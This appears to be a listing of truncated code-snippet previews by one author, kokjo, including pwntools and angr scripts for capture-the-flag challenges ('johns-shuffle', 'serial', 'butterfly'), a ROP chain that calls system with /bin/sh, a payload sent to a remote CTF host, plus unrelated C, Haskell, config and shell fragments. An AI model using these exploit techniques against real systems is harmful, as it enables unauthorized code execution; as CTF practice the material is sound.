kokjo

from pwn import *

e = ELF("./johns-shuffle")
rop = ROP(e)

command = "/bin/sh"

# Bypass the shuffling by forcing the dynamic linker to lookup the symbols again
rop.call(e.plt["read"]+6, [0, e.bss(), len(command)+1])
rop.call(e.plt["system"]+6, [e.bss()])

kokjo

// compile with: gcc -static -o sendfd sendfd.c
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <strings.h>

int send_fd(int sock, int fd){
    // This function does the arcane magic for sending
    // file descriptors over unix domain sockets
    struct msghdr msg;

kokjo

// compile with gcc -static -o recvfd recvfd.c
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <strings.h>

static int recv_fd(int sock){
    // This function does the arcane magic recving
    // file descriptors over unix domain sockets
    struct msghdr msg;

kokjo

import angr

p = angr.Project("./serial")

s = p.factory.blank_state(addr = 0x400CBB )
serial = s.se.BVS("serial", 32*8)
s.memory.store(0x6020BA, serial) # store some symbolic memory in the bss
s.regs.rdi = 0x6020BA # let the first arguemnt(rdi) point to it

pg = p.factory.path_group(s)

kokjo

from pwn import *

e = ELF("./serial")

#r = remote("175.119.158.133", 23232)
r = process("./serial")

r.recvuntil("input product key:")
r.sendline("615066814080")

kokjo

from pwn import *
context(arch="amd64")

e = ELF("./butterfly_33e86bcc2f0a21d57970dc6907867bed")
r = remote("butterfly.pwning.xxx", 9999)
#r = process("./butterfly_33e86bcc2f0a21d57970dc6907867bed")

addr = 0x400860+3
num = (addr << 3) + 6
r.sendline(str(num).ljust(40)+p64(e.symbols["main"]))

kokjo

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

kokjo

module Bug where

import Control.Monad
import Control.Monad.State (gets)
import Control.Monad.Trans.Class (lift)

foo = lift lift gets

{-
$ ghc bug.hs 

kokjo

ccc:
  ssid: 33C3
  dns: dhcp
  wpa: |
    network={
      ssid="33C3"
      key_mgmt=WPA-EAP
      eap=TTLS
      identity="edward"
      password="snowden"

kokjo

#!/bin/sh
WEBROOT="/path/to/web/root/on/server"
HOST="put.hostname.here"

scp "$1" "${USER}@${HOST}:${WEBROOT}$(basename "$1")"
echo "http://${HOST}/$(basename $1)"
sha256sum $1